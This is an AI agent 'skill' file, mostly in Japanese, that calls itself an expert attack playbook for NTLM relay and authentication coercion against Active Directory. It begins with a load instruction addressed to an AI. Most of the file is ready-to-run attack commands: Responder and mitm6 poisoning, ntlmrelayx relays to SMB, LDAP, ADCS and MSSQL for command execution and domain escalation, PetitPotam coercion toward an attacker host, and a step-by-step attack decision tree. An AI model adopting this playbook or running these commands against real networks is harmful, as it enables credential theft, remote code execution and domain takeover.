SKILL: NTLM Relay and Authentication Coercion — Expert Attack Playbook

AI LOAD INSTRUCTION: NTLM リレーと強制技術の専門知識。SMB/LDAP/HTTP/MSSQL へのリレー、署名要件、Responder ポイズニング、mitm6、クロスプロトコル リレー、WebDAV 強制、および主要な強制方法をすべてカバーします。ベースモデルは署名/EPA 要件とクロスプロトコル リレー制約を見落とします。

0. 関連ルーティング

深く掘り下げる前に、以下の読み込みを検討してください:

• active-directory-certificate-services ESC8 用（ADCS 登録へのリレー）
• active-directory-acl-abuse LDAP リレー経由の ACL 変更用（RBCD、シャドウ認証情報）
• active-directory-kerberos-attacks リレー成功後の Kerberos 攻撃用
• windows-lateral-movement リレー後のラテラルムーブメント用

高度な参考資料

以下が必要な場合は COERCION_METHODS.md も読み込んでください:

• 詳細な強制方法の比較（PetitPotam、PrinterBug、DFSCoerce など）
• RPC 関数レベルの詳細と前提条件
• Coercer ツールの使用法と検出

---

1. NTLM RELAY の基礎

被害者          攻撃者（リレー）         ターゲット
  │                 │                      │
  │── NTLM 認証 ──→│                      │  (1) 被害者が認証（強制/ポイズニング）
  │                 │── 認証転送 ─────────→│  (2) 攻撃者がターゲットにリレー
  │                 │←─ チャレンジ ──────── │  (3) ターゲットがチャレンジ送信
  │←─ チャレンジ ────│                      │  (4) 攻撃者がチャレンジを被害者に転送
  │── レスポンス ──→│                      │  (5) 被害者がレスポンス計算
  │                 │── レスポンス転送 ───→│  (6) 攻撃者がレスポンスをターゲットにリレー
  │                 │←─ 認証完了！ ───────│  (7) ターゲットが受け入れ → 攻撃者がセッション取得

NTLMv1 vs NTLMv2

機能	NTLMv1	NTLMv2
セキュリティ	弱い（NTLM ハッシュにクラック可能）	より強い（ただしリレー可能）
リレー	可能	可能
ハッシュへのクラック	可能（レインボーテーブル、crack.sh）	オフラインブルートフォースのみ
ダウングレード	Responder --lm で強制	最新 Windows では既定

---

2. リレー ターゲット マトリックス

ターゲット プロトコル	取得内容	デフォルトで署名が必須？	EPA/チャネルバインディング？
SMB	コマンド実行（管理者の場合）、ファイル アクセス	DC: はい、ワークステーション: いいえ	いいえ
LDAP	ACL 変更、RBCD、シャドウ認証情報、コンピュータ追加	DC: いいえ（ネゴシエーション）	いいえ（設定されていない場合）
LDAPS	LDAP と同じだが暗号化	N/A	はい（チャネルバインディング）
HTTP (ADCS)	証明書登録（ESC8）	いいえ	設定による
MSSQL	SQL クエリ、xp_cmdshell	いいえ	いいえ
IMAP/SMTP	メール アクセス	いいえ	いいえ
RPC	各種（CA 登録 ESC11）	設定による	いいえ

署名チェック

# ターゲット上の SMB 署名をチェック
crackmapexec smb TARGET_IP --gen-relay-list relay_targets.txt
# SMB 署名が必須でないホストを出力

# Nmap SMB 署名チェック
nmap -p 445 --script smb2-security-mode TARGET_RANGE

---

3. RESPONDER — 認証情報キャプチャ

LLMNR/NBT-NS/WPAD/mDNS ポイズニング

# Responder を開始（キャプチャ モード — リレーしない、ハッシュをキャプチャするだけ）
responder -I eth0 -dwP

# 分析モード（パッシブ、ポイズニングなし）
responder -I eth0 -A

# ポイズニングされる主要プロトコル:
# LLMNR (UDP 5355) — Link-Local Multicast Name Resolution
# NBT-NS (UDP 137)  — NetBIOS Name Service
# WPAD              — Web Proxy Auto-Discovery（プロキシ設定）
# mDNS (UDP 5353)   — Multicast DNS

Responder + リレー（キャプチャしない、代わりにリレー）

# Responder の HTTP と SMB サーバーを無効化（ntlmrelayx がそれを処理）
# /etc/responder/Responder.conf を編集: HTTP と SMB を Off に設定

# ポイズニング専用で Responder を開始
responder -I eth0 -dwP

# ntlmrelayx を開始してリレー
ntlmrelayx.py -tf targets.txt -smb2support

---

4. NTLMRELAYX — リレー実行

SMB へのリレー（管理者実行）

# ターゲット上でコマンドを実行（ターゲット上の管理者権限が必須）
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"

# SAM ハッシュをダンプ
ntlmrelayx.py -tf targets.txt -smb2support

# インタラクティブ SOCKS プロキシ（セッション保持）
ntlmrelayx.py -tf targets.txt -smb2support -socks
# その後: proxychains smbclient //TARGET/C$ -U DOMAIN/user

LDAP へのリレー（ACL 変更）

# 自動 RBCD（委任アクセス）
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support

# シャドウ認証情報経由で昇格
ntlmrelayx.py -t ldap://DC_IP --shadow-credentials -smb2support

# コンピュータ アカウント追加
ntlmrelayx.py -t ldap://DC_IP --add-computer FAKE01 P@ss123 -smb2support

# ドメイン情報をダンプ
ntlmrelayx.py -t ldap://DC_IP -smb2support --dump-domain

ADCS HTTP へのリレー（ESC8）

ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support \
  --adcs --template DomainController

# 強制と組み合わせて DC 認証をリレー → DC 証明書取得

MSSQL へのリレー

ntlmrelayx.py -t mssql://SQL_HOST -smb2support -q "SELECT system_user; EXEC xp_cmdshell 'whoami'"

---

5. MITM6 — IPv6 DNS テイクオーバー

# mitm6 は IPv6 自動設定を悪用して DNS サーバーになる
mitm6 -d domain.com

# ntlmrelayx と組み合わせ
ntlmrelayx.py -6 -t ldap://DC_IP -wh fake-wpad.domain.com --delegate-access -smb2support

# フロー:
# 1. mitm6 が DHCPv6 応答を送信 → 被害者が攻撃者を IPv6 DNS として取得
# 2. 被害者が WPAD をクエリ → 攻撃者が応答
# 3. NTLM 認証がトリガー → LDAP にリレー
# 4. RBCD またはシャドウ認証情報が被害者コンピュータに設定される

---

6. クロスプロトコル リレー

SMB → LDAP

SMB 認証をキャプチャ、LDAP にリレー（LDAP 署名の強制なしが必須）。

# DC から SMB 認証を強制、同じまたは別の DC 上の LDAP にリレー
ntlmrelayx.py -t ldap://DC02_IP --delegate-access -smb2support

# 強制をトリガー（攻撃者が SMB 認証を受信）
PetitPotam.py ATTACKER_IP DC01_IP

制限: SMB ソースがリレーを示す SMB 署名ネゴシエーションを使用する場合、SMB → LDAP リレーは失敗します。

WebDAV → LDAP

ワークステーションからの WebDAV は NTLM over HTTP を送信 → LDAP にリレー（署名の問題なし）。

# WebDAV リレーは HTTP ベースの NTLM を送信（SMB 署名の懸念なし）
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support

# WebDAV 経由で強制（ワークステーション上で WebClient サービスが実行中である必要があります）
# @ATTACKER_PORT 形式を使用して WebDAV を強制
PetitPotam.py ATTACKER@80/test WORKSTATION_IP

---

7. WEBDAV ベースの強制

WebClient サービス（WebDAV）は SMB タイプの強制を HTTP ベースの NTLM に変換します。

# WebClient が実行中かどうかを確認（ポート 80 リスナーまたはサービス クエリ）
crackmapexec smb TARGET -u user -p pass -M webdav

# WebDAV 強制を開始（サーバーではなくワークステーションから）
# ターゲットに HTTP 経由で認証を強制:
# UNC パス形式を使用: \\ATTACKER@PORT\share

主な利点: HTTP ベースの NTLM は SMB 署名要件を回避します。

---

8. NTLM リレー判断木

NTLM 認証をリレーしたい
│
├── どのような認証をキャプチャできますか？
│   ├── Responder ポイズニング（パッシブ、クエリを待機）
│   ├── mitm6（DHCPv6 DNS テイクオーバー、定期的）
│   └── アクティブな強制 → COERCION_METHODS.md を読み込む
│
├── どのターゲットにリレーしますか？
│   │
│   ├── コード実行が必要ですか？
│   │   ├── 署名なしの SMB ターゲット → ntlmrelayx を SMB にリレー（§4）
│   │   └── MSSQL ターゲット → ntlmrelayx を MSSQL + xp_cmdshell にリレー（§4）
│   │
│   ├── ドメイン昇格が必要ですか？
│   │   ├── LDAP 署名が強制されていない？
│   │   │   ├── LDAP にリレー → RBCD（§4）
│   │   │   ├── LDAP にリレー → シャドウ認証情報（§4）
│   │   │   └── LDAP にリレー → コンピュータ追加 + 委任（§4）
│   │   └── LDAP 署名が強制されている？
│   │       └── ADCS HTTP にリレー（ESC8）→ 証明書（§4）
│   │
│   └── 証明書が必要ですか？
│       └── ADCS HTTP/RPC にリレー → ESC8/ESC11（§4）
│
├── ソースが SMB ベースですか？
│   ├── ターゲットが SMB → 署名をチェック（§2）
│   ├── ターゲットが LDAP → 動作する可能性（クロスプロトコル、§6）
│   └── ターゲットが HTTP → 動作（クロスプロトコル）
│
├── ソースが HTTP ベース（WebDAV）ですか？
│   └── 任意のターゲットにリレー（署名の問題なし、§6/§7）
│
└── リレーが失敗しましたか？
    ├── 署名要件をチェック（§2）
    ├── EPA/チャネルバインディングをチェック
    ├── クロスプロトコルを試す（SMB → LDAP）
    └── WebDAV 強制を試す（SMB 署名を回避）